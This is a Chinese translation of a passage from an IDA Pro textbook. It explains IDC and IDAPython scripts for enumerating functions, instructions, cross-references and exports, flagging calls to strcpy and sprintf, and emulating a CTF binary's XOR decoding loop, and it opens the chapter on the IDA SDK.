string GetOpnd(long addr, long opnum)

返回指定地址上指定操作数的文本表示。操作数从零开始编号,从最左边的操作数开始。

long GetOpType(long addr, long opnum)

返回表示给定地址上给定操作数类型的整数。有关GetOpType的完整操作数类型代码列表,请参阅 IDC 文档。

long GetOperandValue(long addr, long opnum)

返回给定地址处与给定操作数关联的整数值。返回值的性质取决于由GetOpType指定的给定操作数的类型。

string CommentEx(long addr, long type)

返回给定地址处存在的任何注释的文本。如果type为 0,则返回常规注释的文本。如果type为 1,则返回可重复注释的文本。如果给定地址处不存在注释,则返回空字符串。


^([102]) 当前支持论坛位于 www.hex-rays.com/forum/

IDC 脚本示例

在这一点上,查看一些执行特定任务的脚本示例可能是有用的。在本章的剩余部分,我们将展示一些相当常见的情况,在这些情况下,脚本可以用来回答有关数据库的问题。

枚举函数

许多脚本操作单个函数。例如,生成以特定函数为根的调用树,生成函数的控制流图,或分析数据库中每个函数的栈帧。示例 15-1 遍历数据库中的每个函数,并打印每个函数的基本信息,包括函数的起始和结束地址、函数参数的大小以及函数局部变量的大小。所有输出都发送到输出窗口。

示例 15-1. 函数枚举脚本

#include <idc.idc>
static main() {
   auto addr, end, args, locals, frame, firstArg, name, ret;
   addr = 0;
   for (addr = NextFunction(addr); addr != BADADDR; addr = NextFunction(addr)) {
      name = Name(addr);
      end = GetFunctionAttr(addr, FUNCATTR_END);
      locals = GetFunctionAttr(addr, FUNCATTR_FRSIZE);
      frame = GetFrame(addr);     // retrieve a handle to the function's stack frame
      ret = GetMemberOffset(frame, " r");  // " r" is the name of the return address
      if (ret == −1) continue;
      firstArg = ret + 4;
      args = GetStrucSize(frame) - firstArg;
      Message("Function: %s, starts at %x, ends at %x\n", name, addr, end);
      Message("   Local variable area is %d bytes\n", locals);
      Message("   Arguments occupy %d bytes (%d args)\n", args, args / 4);
   }
}

此脚本使用 IDC 的结构操作函数来获取每个函数的栈帧句柄(GetFrame),确定栈帧的大小(GetStrucSize),并确定栈帧中保存的返回地址的偏移量(GetMemberOffset)。函数的第一个参数位于保存的返回地址之后 4 个字节处。函数的参数区域大小是通过第一个参数和栈帧末尾之间的空间计算得出的。由于 IDA 无法为导入的函数生成栈帧,此脚本通过检查函数的栈帧是否包含保存的返回地址作为识别导入函数调用的简单方法。

枚举指令

在给定的函数内,你可能想要枚举每个指令。示例 15-2 计算了由当前光标位置确定的函数中包含的指令数量:

示例 15-2. 指令枚举脚本

#include <idc.idc>
  static main() {
     auto func, end, count, inst;
    func = GetFunctionAttr(ScreenEA(), FUNCATTR_START);
     if (func != −1) {
       end = GetFunctionAttr(func, FUNCATTR_END);
        count = 0;
        inst = func;
        while (inst < end) {
             count++;
          inst = FindCode(inst, SEARCH_DOWN | SEARCH_NEXT);
        }
        Warning("%s contains %d instructions\n", Name(func), count);
     }
     else {
        Warning("No function found at location %x", ScreenEA());
     }
  }

函数的起始是通过使用 GetFunctionAttr 来确定包含光标地址(ScreenEA())的函数的起始地址来开始的 函数起始。如果找到了函数的起始点,下一步 确定函数结束地址 是确定函数的结束地址,再次使用 GetFunctionAttr 函数。一旦函数被界定,就通过使用 FindCode 函数的搜索功能 遍历函数中的指令 来执行一个循环,逐个遍历函数中的连续指令。在这个例子中,使用 Warning 函数来显示结果,因为函数将只生成一行输出,并且警告对话框中显示的输出比消息窗口中生成的输出更明显。请注意,此示例假设给定函数中的所有指令都是连续的。另一种方法可能用迭代函数中每个指令的所有代码交叉引用的逻辑来替换 FindCode 的使用。正确编写的话,第二种方法将能够处理非连续的,也称为“分块”的函数。

遍历交叉引用

由于可用的访问交叉引用数据的函数数量以及代码交叉引用的双向性,遍历交叉引用可能会令人困惑。为了获取所需的数据,您需要确保您正在访问适合您情况的正确类型的交叉引用。在我们的第一个交叉引用示例中,如 示例 15-3 所示,我们通过遍历函数中的每个指令来确定指令是否调用另一个函数,从而推导出函数内所有函数调用的列表。完成这一任务的一种方法可能是解析 GetMnem 的结果以查找 call 指令。这不会是一个非常通用的解决方案,因为用于调用函数的指令在不同类型的 CPU 之间是不同的。其次,还需要进行额外的解析来确定被调用的确切函数。交叉引用避免了这些困难,因为它们与 CPU 无关,并且直接告诉我们交叉引用的目标。

示例 15-3. 遍历函数调用

#include <idc.idc>
static main() {
  auto func, end, target, inst, name, flags, xref;
  flags = SEARCH_DOWN | SEARCH_NEXT;
  func = GetFunctionAttr(ScreenEA(), FUNCATTR_START);
  if (func != −1) {
    name = Name(func);
    end = GetFunctionAttr(func, FUNCATTR_END);
    for (inst = func; inst < end; inst = FindCode(inst, flags)) {
      for (target = Rfirst(inst); target != BADADDR; target = Rnext(inst, target)) {
        xref = XrefType();
        if (xref == fl_CN || xref == fl_CF) {
          Message("%s calls %s from 0x%x\n", name, Name(target), inst);
        }
      }
    }
  }
  else {
    Warning("No function found at location %x", ScreenEA());
  }
}

在这个例子中,我们必须遍历函数中的每个指令。对于每个指令,我们必须然后遍历从指令出发的每个交叉引用。我们只对调用其他函数的交叉引用感兴趣,因此我们必须测试XrefType的返回值,寻找fl_CNfl_CF类型的交叉引用。在这里,这个特定的解决方案只处理指令连续的函数。鉴于脚本已经遍历了每个指令的交叉引用,要产生这里看到的地址驱动分析而不是流驱动分析,只需进行很少的修改。

另一个使用交叉引用的用途是确定引用特定位置的每个位置。例如,如果我们想创建一个低成本的安全分析器,我们可能会对突出显示所有调用诸如strcpysprintf等函数的调用感兴趣。

危险函数

C 函数strcpysprintf通常被认为使用起来很危险,因为它们允许无限制地复制到目标缓冲区。虽然每个函数都可以安全地由对源和目标缓冲区大小进行适当检查的程序员使用,但这样的检查往往被不了解这些函数危险性的程序员所遗忘。例如,strcpy函数声明如下:

char *strcpy(char *dest, const char *source);

strcpy函数的定义行为是将源缓冲区中遇到的所有字符(包括第一个空终止字符)复制到指定的目标缓冲区(dest)。基本问题是无法在运行时确定任何数组的大小。在这种情况下,strcpy没有确定目标缓冲区容量是否足以容纳从源复制的数据的手段。这种未经检查的复制操作是缓冲区溢出漏洞的主要原因。

在示例 15-4 中所示,我们反向操作以遍历所有指向特定符号的交叉引用(与上一个示例中的从特定符号出发相反):

示例 15-4. 列出函数的调用者

#include <idc.idc>
  static list_callers(bad_func) {
     auto func, addr, xref, source;
    func = LocByName(bad_func);
     if (func == BADADDR) {
        Warning("Sorry, %s not found in database", bad_func);
     }
     else {
       for (addr
 = RfirstB(func); addr != BADADDR; addr = RnextB(func, addr)) {
         xref = XrefType();
         if (xref == fl_CN || xref == fl_CF) {
             source = GetFunctionName(addr);
             Message
("%s is called from 0x%x in %s\n", bad_func, addr, source);
           }
        }
     }
  }
  static main() {
     list_callers("_strcpy");
     list_callers("_sprintf");
  }

在这个例子中,使用LocByName函数来查找给定(按名称)的坏函数的地址。如果找到了函数的地址,就会执行一个循环来处理所有指向坏函数的交叉引用。对于每个交叉引用,如果确定交叉引用类型是调用类型的交叉引用,就会确定调用函数的名称并将其显示给用户。

重要的一点是,可能需要对导入函数的名称进行一些修改才能正确查找。特别是在 ELF 可执行文件中,特别是将过程链接表(PLT)与全局偏移表(GOT)结合使用以处理链接到共享库的细节,IDA 分配给导入函数的名称可能不够清晰。例如,PLT 条目可能看起来被命名为 _memcpy,但实际上它被命名为 .memcpy,而 IDA 将点替换为下划线,因为 IDA 认为点在名称中是无效字符。更复杂的是,IDA 实际上可能创建一个名为 memcpy 的符号,它位于 IDA 命名的 extern 部分中。当尝试枚举 memcpy 的交叉引用时,我们感兴趣的符号是 PLT 版本,因为这是程序中其他函数调用的版本,因此所有交叉引用都会引用这个版本。

枚举导出函数

在 第十三章 中,我们讨论了使用 idsutils 生成 .ids 文件,这些文件描述了共享库的内容。回想一下,生成 .ids 文件的第一个步骤是生成 .idt 文件,这是一个包含库中每个导出函数描述的文本文件。IDC 包含遍历由共享库导出的函数的函数。在 示例 15-5 中显示的脚本可以在使用 IDA 打开共享库后运行以生成 .idt 文件:

示例 15-5. 生成 .idt 文件的脚本

#include <idc.idc>
static main() {
   auto entryPoints, i, ord, addr, name, purged, file, fd;
   file = AskFile(1, "*.idt", "Select IDT save file");
   fd = fopen(file, "w");
   entryPoints = GetEntryPointQty();
   fprintf(fd, "ALIGNMENT 4\n");
   fprintf(fd, "0 Name=%s\n", GetInputFile());
   for (i = 0; i < entryPoints; i++) {
      ord = GetEntryOrdinal(i);
      if (ord == 0) continue;
      addr = GetEntryPoint(ord);
      if (ord == addr) {
         continue; //entry point has no ordinal
      }
      name = Name(addr);
      fprintf(fd, "%d Name=%s", ord, name);
      purged = GetFunctionAttr(addr, FUNCATTR_ARGSIZE);
      if (purged > 0) {
         fprintf(fd, " Pascal=%d", purged);
      }
      fprintf(fd, "\n");
   }
}

脚本的输出保存到用户选择的文件中。此脚本中引入的新函数包括 GetEntryPointQty,它返回库导出的符号数量;GetEntryOrdinal,它返回一个序号(库导出表的索引);GetEntryPoint,它返回通过序号识别的导出函数的地址;以及 GetInputFile,它返回加载到 IDA 中的文件名。

查找和标记函数参数

GCC 3.4 之后的版本在 x86 二进制文件中使用 mov 指令而不是 push 指令将函数参数放入栈中,在调用函数之前。偶尔这会给 IDA 的分析带来一些问题(IDA 的新版本处理这种情况更好),因为分析引擎依赖于找到 push 指令来定位函数调用中参数被推入的位置。以下列表显示了当参数被推入栈时的 IDA 汇编:

.text:08048894                 push    0               ; protocol
.text:08048896                 push    1               ; type
.text:08048898                 push    2               ; domain
.text:0804889A                 call    _socket

注意 IDA 在右页边距放置的注释。这种注释只有在 IDA 识别出参数被推入栈中,并且 IDA 知道被调用函数的签名时才可能实现。当使用 mov 语句将参数放置到栈上时,生成的反汇编结果相对不那么具有信息量,如下所示:

.text:080487AD                 mov     [esp+8], 0
.text:080487B5                 mov     [esp+4], 1
.text:080487BD                 mov     [esp], 2
.text:080487C4                 call    _socket

在这种情况下,IDA 未识别出在调用之前的三个 mov 语句被用来设置函数调用的参数。因此,我们在反汇编中得到的自动注释形式的帮助较少。

在这里,脚本可能能够恢复我们在反汇编中习惯看到的一些信息。示例 15-6 是自动识别为函数调用设置参数的指令的初步尝试:

示例 15-6. 自动化参数识别

#include <idc.idc>
static main() {
  auto addr, op, end, idx;
  auto func_flags, type, val, search;
  search = SEARCH_DOWN | SEARCH_NEXT;
  addr = GetFunctionAttr(ScreenEA(), FUNCATTR_START);
  func_flags = GetFunctionFlags(addr);
  if (func_flags & FUNC_FRAME) {  //Is this an ebp-based frame?
    end = GetFunctionAttr(addr, FUNCATTR_END);
    for (; addr < end && addr != BADADDR; addr = FindCode(addr, search)) {
      type = GetOpType(addr, 0);
      if (type == 3) {  //Is this a register indirect operand?
        if (GetOperandValue(addr, 0) == 4) {   //Is the register esp?
          MakeComm(addr, "arg_0");  //[esp] equates to arg_0
        }
      }
      else if (type == 4) {  //Is this a register + displacement operand?
        idx = strstr(GetOpnd(addr, 0), "esp"); //Is the register esp?
        if (idx != −1) {
          val = GetOperandValue(addr, 0);   //get the displacement
          MakeComm(addr, form("arg_%d", val));  //add a comment
        }
      }
    }
  }
}

该脚本仅在基于 EBP 的栈帧上工作,并依赖于在函数调用之前将参数移动到栈上时,GCC 会生成相对于 esp 的内存引用。脚本遍历函数中的所有指令;对于每个使用 esp 作为基址寄存器的内存位置写入指令,脚本确定栈中的深度,并添加注释以指示正在移动哪个参数。GetFunctionFlags 函数提供了访问与函数相关联的各种标志的方法,例如函数是否使用基于 EBP 的栈帧。在 [示例 15-6 中运行脚本会产生如下所示的带注释的反汇编:

.text:080487AD                 mov     [esp+8], 0   ; arg_8
.text:080487B5                 mov     [esp+4], 1   ; arg_4
.text:080487BD                 mov     [esp], 2    ; arg_0
.text:080487C4                 call    _socket

评论并不特别具有信息量。然而,现在我们可以一眼看出,三个 mov 语句被用来将参数放置到栈上,这是朝着正确方向迈出的一步。通过进一步扩展脚本并探索 IDC 的更多功能,我们可以编写出一个脚本,它在正确识别参数时几乎能提供与 IDA 相当多的信息。最终产品的输出如下所示:

.text:080487AD                 mov     [esp+8], 0   ;  int protocol
.text:080487B5                 mov     [esp+4], 1   ;  int type
.text:080487BD                 mov     [esp], 2    ;  int domain
.text:080487C4                 call    _socket

示例 15-6 中的脚本扩展版本,它能够将函数签名中的数据纳入注释中,可在本书的网站上找到.^([103])

模拟汇编语言行为

有许多原因你可能需要编写一个模拟你正在分析程序行为的脚本。例如,你正在研究的程序可能是自修改的,就像许多恶意软件程序一样,或者程序可能包含一些在运行时需要解码的编码数据。在不运行程序并从运行进程的内存中提取修改后的数据的情况下,你如何理解程序的行为?答案可能在于 IDC 脚本。如果解码过程并不特别复杂,你可能能够快速编写一个 IDC 脚本,执行程序运行时执行的动作。使用脚本以这种方式解码数据可以消除在不知道程序做什么或无法访问可以运行程序的平台时运行程序的需求。后者的情况可能发生在你使用 Windows 版本的 IDA 检查 MIPS 二进制文件时。没有任何 MIPS 硬件,你将无法执行 MIPS 二进制文件并观察它可能执行的数据解码。然而,你可以编写一个 IDC 脚本来模拟二进制文件的行为,并在 IDA 数据库中做出必要的更改,而无需 MIPS 执行环境。

以下 x86 代码是从 DEFCON^([104]) Capture the Flag 二进制文件中提取的.^([105])

.text:08049EDE                 mov     [ebp+var_4], 0
.text:08049EE5
.text:08049EE5 loc_8049EE5:
.text:08049EE5                 cmp     [ebp+var_4], 3C1h
.text:08049EEC                 ja      short locret_8049F0D
.text:08049EEE                 mov     edx, [ebp+var_4]
.text:08049EF1                 add     edx, 804B880h
.text:08049EF7                 mov     eax, [ebp+var_4]
.text:08049EFA                 add     eax, 804B880h
.text:08049EFF                 mov     al, [eax]
.text:08049F01                 xor     eax, 4Bh
.text:08049F04                 mov     [edx], al
.text:08049F06                 lea     eax, [ebp+var_4]
.text:08049F09                 inc     dword ptr [eax]
.text:08049F0B                 jmp     short loc_8049EE5

此代码解码了嵌入在程序二进制文件中的私钥。使用示例 15-7 中显示的 IDC 脚本,我们可以提取私钥而无需运行程序:

示例 15-7. 使用 IDC 模拟汇编语言

auto var_4, edx, eax, al;
var_4 = 0;
while (var_4 <= 0x3C1) {
   edx = var_4;
   edx = edx + 0x804B880;
   eax = var_4;
   eax = eax + 0x804B880;
   al = Byte(eax);
   al = al ^ 0x4B;
   PatchByte(edx, al);
   var_4++;
}

示例 15-7 是按照以下相当机械的规则生成的先前汇编语言序列的相当直译。

  1. 对于在汇编代码中使用的每个堆变量和寄存器,声明一个 IDC 变量。

  2. 对于每个汇编语言语句,编写一个模拟其行为的 IDC 语句。

  3. 通过读取和写入在 IDC 脚本中声明的相应变量来模拟读取和写入堆变量。

  4. 根据读取的数据量(1、2 或 4 字节)使用ByteWordDword函数从非堆位置读取数据。

  5. 使用PatchBytePatchWordPatchDword函数将数据写入非堆位置,具体取决于写入的数据量。

  6. 通常情况下,如果代码中包含一个终止条件不明显循环,最简单的方法是从一个无限循环while (1) {}开始,然后在遇到导致循环终止的语句时插入break语句。

  7. 当汇编代码调用函数时,事情会变得复杂。为了正确模拟汇编代码的行为,您必须找到一种方法来模拟被调用的函数的行为,包括提供在模拟的代码上下文中有意义的返回值。仅此一点就可能阻止使用 IDC 作为模拟汇编语言序列行为的工具。

在开发如前所述的脚本时,需要理解的重要一点是,您并不绝对有必要完全理解您正在模拟的代码在全局范围内是如何行为的。通常,一次只理解一条或两条指令并生成这些指令的正确 IDC 翻译就足够了。如果每条指令都已正确翻译成 IDC,那么整个脚本应该能够正确地模拟原始汇编代码的完整功能。我们可以推迟对汇编语言算法的进一步研究,直到 IDC 脚本完成之后,那时我们可以使用 IDC 脚本来增强我们对底层汇编的理解。一旦我们花时间考虑我们的示例算法是如何工作的,我们可能会将前面的 IDC 脚本缩短为以下内容:

auto var_4, addr;
for (var_4 = 0; var_4 <= 0x3C1; var_4++) {
   addr = 0x804B880 + var_4;
   PatchByte(addr, Byte(addr) ^ 0x4B);
}

作为一种替代方案,如果我们不想以任何方式修改数据库,如果我们处理的是 ASCII 数据,我们可以用 Message 函数调用替换 PatchByte 函数,或者如果我们处理的是二进制数据,我们可以将数据写入文件。


^([103]) 请参阅 www.idabook.com/ch15_examples

^([104]) 请参阅 www.defcon.org/

^([105]) 感谢 Kenshoto,DEFCON 15 的 CTF 组织者。Capture the Flag 是在 DEFCON 举办的年度黑客竞赛。

IDAPython

IDAPython 是由 Gergely Erdelyi 开发的一个插件,它将 Python 解释器集成到 IDA 中。结合提供的 Python 绑定,此插件允许您编写具有对 IDC 脚本语言所有功能完全访问权限的 Python 脚本。使用 IDAPython 获得的明显优势是访问 Python 的原生数据处理能力以及完整的 Python 模块范围。此外,IDAPython 还公开了 IDA 的 SDK 功能的一部分,这使得使用 IDC 实现的脚本功能更加强大。IDAPython 在 IDA 社区中已经积累了一定的追随者。Ilfak 的博客^([106]) 包含了许多使用 Python 脚本解决问题的有趣示例,而问题、答案以及许多其他有用的 IDAPython 脚本经常在 OpenRCE.org 的论坛上发布.^([107]) 此外,来自 Zynamics 的第三方工具,如 BinNavi^([108)),依赖 IDA 和 IDAPython 来执行工具所需的各项子任务。

自从 IDA 5.4 以来,Hex-Rays 一直将 IDAPython 作为标准插件提供。该插件的源代码可在 IDA-Python 项目页面上下载,^([[109])] API 文档可在 Hex-Rays 网站上找到。^([[110])] IDA 仅在检测到计算机上已安装 Python 时才会启用插件。IDA 的 Windows 版本随附并安装了一个兼容的 Python 版本,^([[111])] 而 Linux 和 OS X 版本的 IDA 则将 Python 的正确安装留给你。在 Linux 上,当前版本的 IDA(6.1)寻找 Python 2.6。IDAPython 与 Python 2.7 兼容,如果你从所需的 Python 2.6 库创建到现有 Python 2.7 库的符号链接,IDA 将运行良好。如果你有 Python 2.7,以下类似的命令将创建使 IDA 满意的符号链接:

# ln -s /usr/lib/libpython2.7.so.1.0 /usr/lib/libpython2.6.so.1

OS X 用户可能会发现随 OS X 一起提供的 Python 版本比 IDA 所需的版本要旧。如果是这种情况,应从 www.python.org 下载合适的 Python 安装程序。^([[112])]

使用 IDAPython

IDAPython 通过提供三个 Python 模块将 Python 代码桥接到 IDA,每个模块都服务于特定的目的。通过 idaapi 模块可以访问核心 IDA API(通过 SDK 暴露)。IDC 中所有的函数都在 IDAPython 的 idc 模块中提供。随 IDAPython 一起提供的第三个模块是 idautils,它提供了一些实用函数,其中许多函数返回各种数据库相关对象的 Python 列表,如函数或交叉引用。idcidautils 模块会自动导入所有 IDAPython 脚本。另一方面,如果你需要 idaapi,你必须自己导入它。

当使用 IDAPython 时,请注意该插件将单个 Python 解释器实例嵌入到 IDA 中。这个解释器在你关闭 IDA 之前不会被销毁。因此,你可以将所有的脚本和语句视为在单个 Python 命令行会话中运行。例如,一旦你在 IDA 会话中第一次导入 idaapi 模块,你就不需要再次导入它,直到你重启 IDA。同样,初始化的变量和函数定义会保留它们的值,直到它们被重新定义或直到你退出 IDA。

学习 IDA 的 Python API 有多种策略。如果你已经有一些使用 IDC 或使用 IDA SDK 编程的经验,那么你应该会感到非常熟悉 idaapiidc 模块。快速浏览 idautils 模块中的附加功能应该就足够你开始充分利用 IDAPython 了。如果你有使用 IDC 或 SDK 的先验经验,那么你可能需要深入研究 Hex-Ray 的 Python API 文档,以了解它提供的功能。记住,idc 模块基本上反映了 IDC API,你可能会在 IDA 的内置帮助中找到 IDC 函数列表非常有用。同样,本章前面介绍的 IDC 函数描述也适用于 idc 模块中的相应函数。


^([106]) 查看 www.hexblog.com

^([107]) 查看 www.openrce.org/articles/

^([108]) 查看 www.zynamics.com/binnavi.html

^([109]) 查看 code.google.com/p/idapython/

^([110]) 查看 www.hex-rays.com/idapro/idapython_docs/index.html

^([111]) 查看 www.python.org/

^([112]) 查看 www.python.org/download/mac/

IDAPython 脚本示例

通过比较和对比 IDC 和 IDAPython,以下章节展示了之前在 IDC 讨论中看到的相同示例案例。 wherever possible 我们努力最大限度地利用 Python 特有的功能来展示通过 Python 脚本可以获得的效率。

枚举函数

IDAPython 的一个优点是它使用 Python 强大的数据类型来简化对数据库对象集合的访问。在 示例 15-8 中,我们使用 Python 重新实现了 示例 15-1 中的函数枚举脚本。回想一下,这个脚本的目的是在数据库中迭代每个函数并打印每个函数的基本信息,包括函数的起始和结束地址、函数参数的大小以及函数局部变量空间的大小。所有输出都发送到输出窗口。

示例 15-8. 使用 Python 枚举函数

funcs = Functions()
for f in funcs:
   name = Name(f)
   end = GetFunctionAttr(f, FUNCATTR_END)
   locals = GetFunctionAttr(f, FUNCATTR_FRSIZE)
   frame = GetFrame(f)     # retrieve a handle to the function's stack frame
   if frame is None: continue
   ret = GetMemberOffset(frame, " r")  # " r" is the name of the return address
   if ret == −1: continue
   firstArg = ret + 4
   args = GetStrucSize(frame) - firstArg
   Message("Function: %s, starts at %x, ends at %x\n" % (name, f, end))
   Message("   Local variable area is %d bytes\n" % locals)
   Message("   Arguments occupy %d bytes (%d args)\n" % (args, args / 4))

对于这个特定的脚本,使用 Python 除了使用 Functions ![http://atomoreilly.com/source/nostarch/images/854061.png] 列表生成器外,在效率方面并没有给我们带来多少提升,这个生成器简化了 ![http://atomoreilly.com/source/nostarch/images/854063.png] 的 for 循环。

枚举指令

示例 15-9 展示了如何使用 Python 编写 示例 15-2 中的指令计数脚本,利用 idautils 模块中可用的列表生成器。

示例 15-9. Python 中的指令枚举

from idaapi import *
func = get_func(here())  # here() is synonymous with ScreenEA()
if not func is None:
   fname = Name(func.startEA)
   count = 0
   for i in FuncItems(func.startEA): count = count + 1
   Warning("%s contains %d instructions\n" % (fname,count))
else:
   Warning("No function found at location %x" % here())

与 IDC 版本相比,包括使用 SDK 函数 ![http://atomoreilly.com/source/nostarch/images/854061.png](通过 idaapi 访问)来获取函数对象(特别是 func_t)的引用,以及使用 FuncItems ![http://atomoreilly.com/source/nostarch/images/854063.png] 生成器(来自 idautils)来提供在函数内所有指令上的简单迭代。因为我们不能在生成器上使用 Python 的 len 函数,所以我们仍然必须逐个遍历生成器列表来计数每个指令。

枚举交叉引用

idautils 模块包含几个生成器函数,它们以比我们在 IDC 中看到的方式更直观的方式构建交叉引用列表。示例 15-10 重写了我们在 示例 15-3 中看到的函数调用枚举脚本。

示例 15-10. 使用 Python 枚举函数调用

from idaapi import *
func = get_func(here())
if not func is None:
   fname = Name(func.startEA)
   items = FuncItems(func.startEA)
   for i in items:
      for xref in XrefsFrom(i, 0):
         if xref.type == fl_CN or xref.type == fl_CF:
            Message("%s calls %s from 0x%x\n" % (fname, Name(xref.to), i))
else:
   Warning("No function found at location %x" % here())

在这个脚本中新引入的是使用 XrefsFrom ![http://atomoreilly.com/source/nostarch/images/854061.png] 生成器(来自 idautils)来遍历当前指令的所有交叉引用。XrefsFrom 返回一个指向 xrefblk_t 对象的引用,该对象包含有关当前交叉引用的详细信息。

枚举导出函数

示例 15-11 是 示例 15-5 中 .idt 生成器脚本的 Python 版本。

示例 15-11. 生成 IDT 文件的 Python 脚本

file = AskFile(1, "*.idt", "Select IDT save file")
with open(file, 'w') as fd:
   fd.write("ALIGNMENT 4\n")
   fd.write("0 Name=%s\n" % GetInputFile())
   for i in range(GetEntryPointQty()):
      ord = GetEntryOrdinal(i)
      if ord == 0: continue
      addr = GetEntryPoint(ord)
      if ord == addr: continue   #entry point has no ordinal
      fd.write("%d Name=%s" % (ord, Name(addr)))
      purged = GetFunctionAttr(addr, FUNCATTR_ARGSIZE)
      if purged > 0:
         fd.write(" Pascal=%d" % purged)
      fd.write("\n")

两个脚本看起来非常相似,因为 IDAPython 没有用于入口点列表的生成器函数,所以我们只能使用在 示例 15-5 中使用的相同函数集。值得注意的一个区别是,IDAPython 废弃了 IDC 的文件处理函数,转而使用 Python 的内置文件处理函数。

摘要

脚本提供了扩展 IDA 功能的强大手段。多年来,脚本以多种创新方式被用于满足 IDA 用户的需求。许多有用的脚本可以在 Hex-Rays 网站以及前 IDA Palace 的镜像网站上下载。^([113]) IDA 脚本非常适合小任务和快速开发,但它们并不完全适合所有情况。

IDC 语言的主要局限性之一是其对复杂数据类型的支持不足,以及无法访问更全面的功能 API,如 C 标准库或 Windows API。通过增加复杂性,我们可以通过转向编译扩展而不是脚本扩展来克服这些限制。正如我们将在下一章中展示的,编译扩展需要使用 IDA 软件开发工具包 (SDK),其学习曲线比 IDC 或 IDAPython 都要陡峭。然而,使用 SDK 开发扩展时所能获得的功能通常值得投入学习如何使用它的努力。


^([113]) 查看 old.idapalace.net/.

第十六章。IDA 软件开发工具包

在本书的整个过程中,我们使用了诸如“IDA 这样做”和“IDA 那样做”之类的短语。虽然 IDA 确实为我们做了很多,但更准确地说,这种智能应归因于 IDA 所依赖的各种模块。例如,分析阶段的所有决策都是由处理器模块做出的,因此可以说,IDA 的智能程度取决于它所依赖的处理器模块。当然,Hex-Rays 在确保其处理器模块尽可能强大方面投入了巨大的努力,而对于普通用户来说,IDA 将其模块化架构巧妙地隐藏在其用户界面之下。

在某个时刻,你可能发现自己需要比 IDC 脚本语言所能提供的更多功能,无论是出于性能原因,还是因为你希望做 IDC 简单设计所无法实现的事情。当这一刻到来时,是时候进阶到使用 IDA 的 软件开发工具包 (SDK) 来构建你自己的编译模块以供 IDA 使用了。

注意

IDC 脚本引擎建立在 IDA 的 SDK 之上。所有 IDC 函数最终都会被转换成对一个或多个执行实际工作的 SDK 函数的调用。虽然确实如果你能在 IDC 中做到某事,你也可以使用 SDK 做到同样的事情,但反之则不然。SDK 提供的功能远比仅使用 IDC 可用得多,而且许多 SDK 动作在 IDC 中没有对应的操作。

SDK 以 C++库的形式暴露了 IDA 的内部编程接口,以及与这些库接口所需的头文件。为了创建处理新文件格式的加载模块、处理新 CPU 指令集的处理模块,以及可能被视为比脚本更强大的编译替代品的插件模块,需要 SDK。

钟声、口哨声和脚跟子弹

在使用 C++时,您当然可以访问各种 C++库,包括您操作系统的本地 API。通过利用这些库,您可能会倾向于将各种复杂的功能纳入您构建的任何模块中。然而,您在选择以这种方式纳入的功能时应该非常小心,因为这可能会导致 IDA 不稳定。最具体的例子是,IDA 是一个单线程应用程序。没有任何努力去同步访问低级数据库结构,SDK 也不提供这样做的方法。对于 5.5 版本之前的 IDA 版本,您绝对不应该创建可能同时访问数据库的额外线程。对于 5.5 版本及以后的版本,您可以创建额外的线程,但任何对 SDK 函数的调用都应该使用在kernwin.hpp中描述的exec_request_texecute_sync函数进行排队。此外,您应该了解,您执行的任何阻塞操作都将使 IDA 在操作完成之前无响应。

在本章中,我们介绍了 SDK 的一些核心功能。无论您是在创建插件、加载模块还是处理模块,您都会发现这些功能非常有用。由于在接下来的三个章节中会分别详细介绍这些类型的模块,因此本章中的示例提供时并未试图提供它们可能被使用的特定上下文。

SDK 简介

IDA 的 SDK 的分布方式与其他我们之前讨论过的 IDA 附加组件非常相似。包含 SDK 的 Zip 文件可以在您原始的 IDA CD 上找到,或者授权用户可以从 Hex-Rays 网站下载 SDK。每个 SDK 版本都是以与之兼容的 IDA 版本命名的(例如,idasdk61.zip与 IDA 版本 6.1 相匹配)。SDK 具有与其他 IDA 相关工具中常见的相同简约文档,对于 SDK 来说,这意味着一个顶级的readme.txt文件以及插件、处理模块和加载器的附加 README 文件。

SDK 定义了模块可以用来与 IDA 交互的已发布编程接口。在 SDK 版本 4.9 之前,这些接口的变化足够大,以至于在 SDK 4.8 下成功编译的模块可能在新版本的 SDK(如版本 4.9)下不再编译,而无需进行更改。随着 SDK 4.9 版本的引入,Hex-Rays 选择标准化现有的 API,这意味着模块不仅无需更改即可成功编译 SDK 的新版本,而且模块与 IDA 的新版本也具有二进制兼容性。这意味着模块用户不再需要等待模块作者更新他们的源代码或提供模块的更新二进制版本,每次 IDA 发布新版本时。但这并不意味着现有的 API 接口完全冻结;Hex-Rays 继续在每个 SDK 的新版本中引入新功能(即每个新 SDK 都是前一个 SDK 的超集)。利用这些新功能的模块通常与 IDA 或 SDK 的旧版本不兼容。尽管如此,由于各种原因,有时函数会被重命名或标记为已弃用。SDK 提供宏来允许或禁止使用已弃用的函数,这使得记录函数何时被弃用变得容易。

SDK 安装

在版本 5.4 之前,包含 SDK 的 Zip 文件不包含顶级目录。由于 SDK 与 IDA 共享多个子目录名称,强烈建议您创建一个专门的 SDK 目录,例如 idasdk53,并将 SDK 内容提取到该目录中。这将使区分 SDK 组件和 IDA 组件变得容易得多。从版本 5.4 开始,IDA SDK 被打包在一个顶级 SDK 目录中,例如 idasdk61,因此此步骤不再需要。无需在相对于 的特定位置安装 SDK。无论您选择在何处安装 SDK,我们将在本书的其余部分将 SDK 目录通称为

SDK 布局

对 SDK 中使用的目录结构的了解将有所帮助,这不仅有助于了解您可能在何处找到文档,还有助于了解您可以在何处找到您构建的模块。以下是您在 SDK 中可以期望找到的内容的简要概述。

bin 目录

此目录是示例构建脚本在成功构建后保存其编译模块的地方。安装模块涉及将模块从 bin 目录中的适当子目录复制到 目录中的适当子目录。模块安装将在第十七章(第十七章。IDA 插件架构)、第十八章(第十八章。二进制文件和 IDA 加载模块)和第十九章(第十九章。IDA 处理器模块)中更详细地介绍。此目录还包含创建处理器模块所需的后期处理工具。

etc 目录

此目录包含构建某些 SDK 模块所需的两个实用程序的源代码。这些实用程序的编译版本也包含在 SDK 中。

include 目录

此目录包含定义 IDA API 接口的头文件。简而言之,你被允许使用的每个 API 数据结构以及你被允许调用的每个 API 函数都声明在此目录中的一个头文件中。SDK 的顶层 readme.txt 文件包含此目录中一些常用头文件的概述。此目录中的文件构成了 SDK 文档的大部分内容(即“阅读源代码”)。

ldr 目录

此目录包含几个示例加载模块的源代码和构建脚本。加载器的 README 文件不过是此目录内容的概述。

lib 目录

